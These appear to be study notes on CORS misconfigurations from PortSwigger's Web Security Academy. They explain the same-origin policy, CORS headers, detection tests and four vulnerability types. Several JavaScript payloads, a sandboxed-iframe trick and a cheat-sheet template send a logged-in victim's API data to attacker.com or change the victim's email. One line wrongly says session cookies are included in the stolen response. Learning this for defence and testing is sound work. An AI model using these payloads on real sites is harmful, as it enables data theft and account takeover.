CORS — Cross-Origin Resource Sharing
Source: PortSwigger Web Security Academy Author: Johan Beysen
1. What Is CORS?
CORS is a browser mechanism that determines whether a web page from origin A is allowed to make a request to origin B and read the response.
An origin consists of three components:
All three must match — otherwise origins are cross-origin.
CORS misconfigurations let attackers bypass the same-origin policy and read sensitive data from another origin on behalf of a logged-in user.
2. Same-Origin Policy (SOP)
The SOP is the browser protection that CORS relaxes when misconfigured.
| Request type | Cross-origin allowed? |
|---|---|
| Writing (links, redirects, forms) | Yes |
| Reading (fetch/XHR response body) | No — SOP blocks it |
| Embedding (img, script, iframe src) | Yes |
SOP protects reading, not sending
The browser just sends cross-origin requests — the server receives them. Only reading the response is blocked by SOP. CORS is a way to relax that reading restriction for certain origins.
3. CORS Headers
Response headers (server → browser)
| Header | Description |
|---|---|
Access-Control-Allow-Origin |
Which origin(s) may read the response (* or a specific origin) |
Access-Control-Allow-Credentials |
Whether cookies/auth headers may be sent along (true/false) |
Access-Control-Allow-Methods |
HTTP methods allowed on preflight |
Access-Control-Allow-Headers |
Request headers allowed on preflight |
Access-Control-Max-Age |
How long the browser may cache the preflight result |
Request headers (browser → server)
| Header | Description |
|---|---|
Origin |
The origin of the page making the request |
The crucial combination
A CORS vulnerability is only exploitable if both are present:
Access-Control-Allow-Origin: https://attacker.com ← attacker's origin allowed
Access-Control-Allow-Credentials: true ← cookies are sent along
ACAO: * with ACAC: true is technically invalid — browsers reject it. Exploitation requires a dynamically reflected specific origin.
Preflight Requests
For "non-simple" requests, the browser first sends an OPTIONS request:
OPTIONS /api/data HTTP/1.1
Origin: https://attacker.com
Access-Control-Request-Method: DELETE
Access-Control-Request-Headers: X-Custom-Header
| Request type | Preflight required? |
|---|---|
| GET / HEAD / POST (simple headers) | No |
| PUT / DELETE / PATCH | Yes |
| Custom headers | Yes |
Content-Type: application/json |
Yes |
4. Detection
1. Send a request with: Origin: https://attacker.com
2. Look at the response headers:
- Is the Origin reflected in ACAO?
- Is ACAC: true present?
3. Try: Origin: null
4. Try: Origin: https://trusted-site.com.evil.com
5. Try: Origin: https://evil-trusted-site.com
6. Try: Origin: https://sub.trusted-site.com
Burp Suite
In Burp Repeater, manually add the Origin header to a request and observe the response headers. Burp Scanner automatically detects the most common CORS misconfigurations.
5. Vulnerability 1 — Reflected Origin
The server blindly reflects the Origin header back in Access-Control-Allow-Origin.
Request:
GET /api/userdata HTTP/1.1
Origin: https://attacker.com
Response:
Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Credentials: true
Exploitation
fetch('https://vulnerable.com/api/userdata', {
credentials: 'include'
})
.then(r => r.text())
.then(d => fetch('https://attacker.com/steal?data=' + btoa(d)))
Host this script on attacker.com, get the victim to visit the page → the response (including session cookies) is sent to the attacker.
Requirement
The victim must be logged in to the vulnerable site at the time of execution. The browser automatically sends the session cookies along via credentials: 'include'.
6. Vulnerability 2 — Null Origin
The server explicitly allows the null origin:
Request:
Origin: null
Response:
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
When Does a Browser Send Origin: null?
- Cross-origin redirect
- Serialized data requests
- A request via the
file://protocol - A sandboxed iframe — most useful for exploitation
Exploitation via a Sandboxed Iframe
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="<script>
fetch('https://vulnerable.com/api/userdata', {credentials: 'include'})
.then(r => r.text())
.then(d => location='https://attacker.com/steal?data='+btoa(d))
</script>">
</iframe>
A sandboxed iframe always has Origin: null — causing the server to grant the attacker access.
7. Vulnerability 3 — Subdomain Trust
The server allows all subdomains of a trusted domain:
Request:
Origin: https://malicious.trusted-site.com
Response:
Access-Control-Allow-Origin: https://malicious.trusted-site.com
Access-Control-Allow-Credentials: true
Attack Vector: Subdomain + XSS
If an XSS vulnerability exists on a subdomain, you can combine it:
fetch('https://trusted-site.com/api/userdata', {credentials: 'include'})
.then(r => r.text())
.then(d => fetch('https://attacker.com/steal?data=' + btoa(d)))
Impact
XSS on a subdomain + CORS subdomain trust = complete data exfiltration from the main site, even though it itself is XSS-free.
8. Vulnerability 4 — Regex Bypass
The server validates the origin via a flawed regex:
Test Payloads for Regex Bypasses
Origin: https://trusted-site.com.attacker.com
Origin: https://attacker-trusted-site.com
Origin: https://trusted-site.com.evil.com
Origin: https://notreally-trusted-site.com
9. Cheat Sheet
Detection
| Test | Vulnerable if... |
|---|---|
Origin: https://attacker.com |
ACAO reflects https://attacker.com + ACAC: true |
Origin: null |
ACAO: null + ACAC: true |
Origin: https://trusted.com.evil.com |
ACAO reflects the bypass origin |
Origin: https://evil-trusted.com |
ACAO reflects the bypass origin |
Origin: https://sub.trusted.com |
ACAO reflects the subdomain |
Exploitation Template
// Basic exfiltration
fetch('https://TARGET.com/api/sensitive', {credentials: 'include'})
.then(r => r.json())
.then(d => fetch('https://ATTACKER.com/steal?d=' + btoa(JSON.stringify(d))))
// Via null origin (sandboxed iframe)
// <iframe sandbox="allow-scripts" srcdoc="<script>PAYLOAD</script>">
// Performing an action on behalf of the victim
fetch('https://TARGET.com/api/change-email', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({email: 'attacker@evil.com'})
})
Headers Summary
| Header | Safe | Vulnerable |
|---|---|---|
ACAO |
A specific whitelist | Dynamically reflected |
ACAO |
Not present | * with ACAC: true |
ACAC |
false or absent |
true with a dynamic ACAO |
| Origin validation | Exact string match | Regex / prefix / suffix check |